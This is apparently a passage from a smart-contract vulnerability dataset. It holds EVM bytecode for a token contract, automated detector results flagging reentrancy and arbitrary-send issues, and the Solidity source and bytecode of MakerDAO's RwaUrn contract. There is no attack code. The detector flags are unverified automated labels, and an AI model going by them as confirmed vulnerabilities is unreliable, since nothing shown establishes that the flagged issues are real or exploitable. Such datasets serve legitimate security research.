0e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bc565b600081116112005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bc565b600080546001600160a01b0385811691161480159061122d57506000546001600160a01b03848116911614155b1561141f576008546001600160a01b03858116911614801561125d57506006546001600160a01b03848116911614155b801561128257506001600160a01b03831660009081526004602052604090205460ff16155b1561133757600f5460ff166112d95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106bc565b42600e54603c6112e99190611b48565b1180156112fe5750600f5462010000900460ff165b1561133357600c5482111561131257600080fd5b600d5461131e846108b4565b6113289084611b48565b111561133357600080fd5b5060015b600f54610100900460ff161580156113515750600f5460ff165b801561136b57506008546001600160a01b03858116911614155b1561141f57600061137b306108b4565b9050801561140857600f546301000000900460ff16156113ff57600b54600854606491906113b1906001600160a01b03166108b4565b6113bb9190611b60565b6113c59190611b7f565b8111156113ff57600b54600854606491906113e8906001600160a01b03166108b4565b6113f29190611b60565b6113fc9190611b7f565b90505b611408816114b8565b478015611418576114184761147e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061146157506001600160a01b03841660009081526004602052604090205460ff165b1561146a575060005b611477858585848661162c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610767573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fc576114fc611a78565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611555573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115799190611ae0565b8160018151811061158c5761158c611a78565b6001600160a01b0392831660209182029290920101526006546115b29130911684610f8e565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115eb908590600090869030904290600401611ba1565b600060405180830381600087803b15801561160557600080fd5b505af1158015611619573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611638838361164e565b905061164686868684611672565b505050505050565b600080831561166b578215611666575060095461166b565b50600a545b9392505050565b60008061167f848461174f565b6001600160a01b03881660009081526002602052604090205491935091506116a8908590611a61565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116d8908390611b48565b6001600160a01b0386166000908152600260205260409020556116fa81611783565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173f91815260200190565b60405180910390a3505050505050565b60008080606461175f8587611b60565b6117699190611b7f565b905060006117778287611a61565b96919550909350505050565b3060009081526002602052604090205461179e908290611b48565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117de578581018301518582016040015282016117c2565b818111156117f0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108b157600080fd5b803561182681611806565b919050565b6000806040838503121561183e57600080fd5b823561184981611806565b946020939093013593505050565b6000806040838503121561186a57600080fd5b50508035926020909101359150565b60008060006060848603121561188e57600080fd5b833561189981611806565b925060208401356118a981611806565b929592945050506040919091013590565b80151581146108b157600080fd5b6000602082840312156118da57600080fd5b813561166b816118ba565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190e57600080fd5b823567ffffffffffffffff8082111561192657600080fd5b818501915085601f83011261193a57600080fd5b81358181111561194c5761194c6118e5565b8060051b604051601f19603f83011681018181108582111715611971576119716118e5565b60405291825284820192508381018501918883111561198f57600080fd5b938501935b828510156119b4576119a58561181b565b84529385019392850192611994565b98975050505050505050565b6000602082840312156119d257600080fd5b813561166b81611806565b600080604083850312156119f057600080fd5b82356119fb81611806565b91506020830135611a0b81611806565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a7357611a73611a4b565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611aa257611aa2611a4b565b5060010190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b600060208284031215611af257600080fd5b815161166b81611806565b600080600060608486031215611b1257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3d57600080fd5b815161166b816118ba565b60008219821115611b5b57611b5b611a4b565b500190565b6000816000190483118215151615611b7a57611b7a611a4b565b500290565b600082611b9c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf15784516001600160a01b031683529383019391830191600101611bcc565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122017ce129c9110bbd4021b8eb8e09283da410e459e3820c5f373128ff5e037344164736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,045
0x7bF825718e7C388c3be16CFe9982539A7455540F
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ /** *Submitted for verification at Etherscan.io on 2021-07-12 */ // Copyright (C) 2020, 2021 Lev Livnev <[email protected]> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.5.12; // https://github.com/makerdao/dss/blob/master/src/vat.sol interface VatAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function can(address, address) external view returns (uint256); function hope(address) external; function nope(address) external; function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); function urns(bytes32, address) external view returns (uint256, uint256); function gem(bytes32, address) external view returns (uint256); function dai(address) external view returns (uint256); function sin(address) external view returns (uint256); function debt() external view returns (uint256); function vice() external view returns (uint256); function Line() external view returns (uint256); function live() external view returns (uint256); function init(bytes32) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function cage() external; function slip(bytes32, address, int256) external; function flux(bytes32, address, address, uint256) external; function move(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function fork(bytes32, address, address, int256, int256) external; function grab(bytes32, address, address, address, int256, int256) external; function heal(uint256) external; function suck(address, address, uint256) external; function fold(bytes32, address, int256) external; } // https://github.com/makerdao/dss/blob/master/src/jug.sol interface JugAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function ilks(bytes32) external view returns (uint256, uint256); function vat() external view returns (address); function vow() external view returns (address); function base() external view returns (address); function init(bytes32) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, uint256) external; function file(bytes32, address) external; function drip(bytes32) external returns (uint256); } // https://github.com/dapphub/ds-token/blob/master/src/token.sol interface DSTokenAbstract { function name() external view returns (bytes32); function symbol() external view returns (bytes32); function decimals() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function transfer(address, uint256) external returns (bool); function allowance(address, address) external view returns (uint256); function approve(address, uint256) external returns (bool); function approve(address) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function push(address, uint256) external; function pull(address, uint256) external; function move(address, address, uint256) external; function mint(uint256) external; function mint(address,uint) external; function burn(uint256) external; function burn(address,uint) external; function setName(bytes32) external; function authority() external view returns (address); function owner() external view returns (address); function setOwner(address) external; function setAuthority(address) external; } // https://github.com/makerdao/dss/blob/master/src/join.sol interface GemJoinAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } // https://github.com/makerdao/dss/blob/master/src/join.sol interface DaiJoinAbstract { function wards(address) external view returns (uint256); function rely(address usr) external; function deny(address usr) external; function vat() external view returns (address); function dai() external view returns (address); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } // https://github.com/makerdao/dss/blob/master/src/dai.sol interface DaiAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); function nonces(address) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external view returns (bytes32); function transfer(address, uint256) external; function transferFrom(address, address, uint256) external returns (bool); function mint(address, uint256) external; function burn(address, uint256) external; function approve(address, uint256) external returns (bool); function push(address, uint256) external; function pull(address, uint256) external; function move(address, address, uint256) external; function permit(address, address, uint256, uint256, bool, uint8, bytes32, bytes32) external; } contract RwaUrn { // --- auth --- mapping (address => uint256) public wards; mapping (address => uint256) public can; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "RwaUrn/not-authorized"); _; } function hope(address usr) external auth { can[usr] = 1; emit Hope(usr); } function nope(address usr) external auth { can[usr] = 0; emit Nope(usr); } modifier operator { require(can[msg.sender] == 1, "RwaUrn/not-operator"); _; } VatAbstract public vat; JugAbstract public jug; GemJoinAbstract public gemJoin; DaiJoinAbstract public daiJoin; address public outputConduit; // Events event Rely(address indexed usr); event Deny(address indexed usr); event Hope(address indexed usr); event Nope(address indexed usr); event File(bytes32 indexed what, address data); event Lock(address indexed usr, uint256 wad); event Free(address indexed usr, uint256 wad); event Draw(address indexed usr, uint256 wad); event Wipe(address indexed usr, uint256 wad); event Quit(address indexed usr, uint256 wad); // --- math --- uint256 constant RAY = 10 ** 27; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function divup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(x, sub(y, 1)) / y; } // --- init --- constructor( address vat_, address jug_, address gemJoin_, address daiJoin_, address outputConduit_ ) public { // requires in urn that outputConduit isn't address(0) vat = VatAbstract(vat_); jug = JugAbstract(jug_); gemJoin = GemJoinAbstract(gemJoin_); daiJoin = DaiJoinAbstract(daiJoin_); outputConduit = outputConduit_; wards[msg.sender] = 1; DSTokenAbstract(gemJoin.gem()).approve(address(gemJoin), uint256(-1)); DaiAbstract(daiJoin.dai()).approve(address(daiJoin), uint256(-1)); VatAbstract(vat_).hope(address(daiJoin)); emit Rely(msg.sender); emit File("outputConduit", outputConduit_); emit File("jug", jug_); } // --- administration --- function file(bytes32 what, address data) external auth { if (what == "outputConduit") { outputConduit = data; } else if (what == "jug") { jug = JugAbstract(data); } else revert("RwaUrn/unrecognised-param"); emit File(what, data); } // --- cdp operation --- // n.b. that the operator must bring the gem function lock(uint256 wad) external operator { require(wad <= 2**255 - 1, "RwaUrn/overflow"); DSTokenAbstract(gemJoin.gem()).transferFrom(msg.sender, address(this), wad); // join with address this gemJoin.join(address(this), wad); vat.frob(gemJoin.ilk(), address(this), address(this), address(this), int(wad), 0); emit Lock(msg.sender, wad); } // n.b. that the operator takes the gem // and might not be the same operator who brought the gem function free(uint256 wad) external operator { require(wad <= 2**255, "RwaUrn/overflow"); vat.frob(gemJoin.ilk(), address(this), address(this), address(this), -int(wad), 0); gemJoin.exit(msg.sender, wad); emit Free(msg.sender, wad); } // n.b. DAI can only go to the output conduit function draw(uint256 wad) external operator { require(outputConduit != address(0)); bytes32 ilk = gemJoin.ilk(); jug.drip(ilk); (,uint256 rate,,,) = vat.ilks(ilk); uint256 dart = divup(mul(RAY, wad), rate); require(dart <= 2**255 - 1, "RwaUrn/overflow"); vat.frob(ilk, address(this), address(this), address(this), 0, int(dart)); daiJoin.exit(outputConduit, wad); emit Draw(msg.sender, wad); } // n.b. anyone can wipe function wipe(uint256 wad) external { daiJoin.join(address(this), wad); bytes32 ilk = gemJoin.ilk(); jug.drip(ilk); (,uint256 rate,,,) = vat.ilks(ilk); uint256 dart = mul(RAY, wad) / rate; require(dart <= 2 ** 255, "RwaUrn/overflow"); vat.frob(ilk, address(this), address(this), address(this), 0, -int(dart)); emit Wipe(msg.sender, wad); } // If Dai is sitting here after ES that should be sent back function quit() external { require(outputConduit != address(0)); require(vat.live() == 0, "RwaUrn/vat-still-live"); DSTokenAbstract dai = DSTokenAbstract(daiJoin.dai()); uint256 wad = dai.balanceOf(address(this)); dai.transfer(outputConduit, wad); emit Quit(msg.sender, wad); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063b38a1620116100a2578063d4e8be8311610071578063d4e8be831461045a578063d8ccd0f3146104a8578063dc4d20fa146104d6578063dd4670641461051a578063fc2b8cc3146105485761010b565b8063b38a162014610332578063bc206b0a14610360578063bf353dbb146103b8578063c11645bc146104105761010b565b80637692535f116100de5780637692535f1461021657806384718d89146102605780639c52a7f1146102aa578063a3b22fc4146102ee5761010b565b806301664f661461011057806336569e771461015a5780633b304147146101a457806365fae35e146101d2575b600080fd5b610118610552565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610162610578565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101d0600480360360208110156101ba57600080fd5b810190808035906020019092919050505061059e565b005b610214600480360360208110156101e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c0e565b005b61021e610d4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610268610d72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ec600480360360208110156102c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d98565b005b6103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b005b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050611014565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156d565b6040518082815260200191505060405180910390f35b610418611585565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a66004803603604081101561047057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ab565b005b6104d4600480360360208110156104be57600080fd5b8101908080359060200190929190505050611812565b005b610518600480360360208110156104ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4d565b005b6105466004803603602081101561053057600080fd5b8101908080359060200190929190505050611d8c565b005b61055061235d565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156106ae57600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071857600080fd5b505afa15801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156107ca57600080fd5b505af11580156107de573d6000803e3d6000fd5b505050506040513d60208110156107f457600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d60a08110156108a557600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006109056108ff6b033b2e3c9fd0803ce80000008661276b565b83612797565b90507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81111561099d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015610abf57600080fd5b505af1158015610ad3573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f7ffa12f2611233f19bb229a71c5d8224cb37373555ab6754b65aef59ea26831d856040518082815260200191505060405180910390a250505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f3a21b662999d3fc0ceca48751a22bf61a806dcf3631e136271f02f7cb981fd4360405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156110bd57600080fd5b505af11580156110d1573d6000803e3d6000fd5b505050506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561113f57600080fd5b505afa158015611153573d6000803e3d6000fd5b505050506040513d602081101561116957600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b505050506040513d602081101561121b57600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d60a08110156112cc57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000816113246b033b2e3c9fd0803ce80000008661276b565b8161132b57fe5b0490507f80000000000000000000000000000000000000000000000000000000000000008111156113c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156114e957600080fd5b505af11580156114fd573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f2d2c7da251295f4d722a8ddaf337627952c957ce21b2757c852e47fe81b3a2af856040518082815260200191505060405180910390a250505050565b60016020528060005260406000206000915090505481565b60006020528060005260406000206000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b7f6f7574707574436f6e64756974000000000000000000000000000000000000008214156116cd5780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117aa565b7f6a7567000000000000000000000000000000000000000000000000000000000082141561173b5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117a9565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52776155726e2f756e7265636f676e697365642d706172616d0000000000000081525060200191505060405180910390fd5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f800000000000000000000000000000000000000000000000000000000000000081111561195c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0257600080fd5b505afa158015611a16573d6000803e3d6000fd5b505050506040513d6020811015611a2c57600080fd5b81019080805190602001909291905050503030308660000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611b2357600080fd5b505af1158015611b37573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611be457600080fd5b505af1158015611bf8573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fce6c5af8fd109993cb40da4d5dc9e4dd8e61bc2e48f1e3901472141e4f56f293826040518082815260200191505060405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611d01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f9cd85b2ca76a06c46be663a514e012af1aea8954b0e53f42146cd9b1ebb21ebc60405160405180910390a250565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611e40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115611ed6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3e57600080fd5b505afa158015611f52573d6000803e3d6000fd5b505050506040513d6020811015611f6857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561203357600080fd5b505af1158015612047573d6000803e3d6000fd5b505050506040513d602081101561205d57600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561211857600080fd5b505af115801561212c573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d657600080fd5b505afa1580156121ea573d6000803e3d6000fd5b505050506040513d602081101561220057600080fd5b81019080805190602001909291905050503030308660006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156122f457600080fd5b505af1158015612308573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427826040518082815260200191505060405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123b957600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561242357600080fd5b505afa158015612437573d6000803e3d6000fd5b505050506040513d60208110156124